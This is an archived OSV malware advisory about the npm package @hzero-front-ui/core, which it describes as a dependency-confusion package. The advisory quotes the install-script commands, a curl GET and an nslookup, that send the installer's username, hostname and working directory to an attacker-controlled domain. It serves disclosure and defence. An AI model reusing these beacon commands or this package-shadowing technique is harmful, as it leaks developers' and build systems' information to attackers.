Malicious code in @hzero-front-ui/core (npm)
Historical advisory saved 24 Oct 2026 13:17:17 UTC. The publisher may have updated it since then. Latest advisory.
osv · MAL-2026-13969
Published--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (7821a8d1a76ccfc9b3e0649ad6b600927c9c3448ee083d47809026588daa77ca) Package @hzero-front-ui/[email protected] is a hollow shell (index.js is only `module.exports = {};`) whose sole functional content is preinstall/install lifecycle scripts. On `npm install`, those scripts collect the installer's username (`whoami`), hostname, current working directory, and npm package name, base64-encode the concatenation, and transmit it to attacker-controlled subdomains of callback.m0chan.co.uk via two channels: an HTTPS GET (`curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64`) and a DNS lookup (`nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk`). The 99.99.99 version and hollow contents under an org-shaped `@hzero-front-ui` scope are the standard dependency-confusion shape — a public-registry high-version package published to shadow an internal namesake and beacon out from any build system that mis-resolves the internal name.
- Source published
- 13 Aug 2026 21:07:01 UTC
- Source modified
- 13 Aug 2026 21:30:24 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.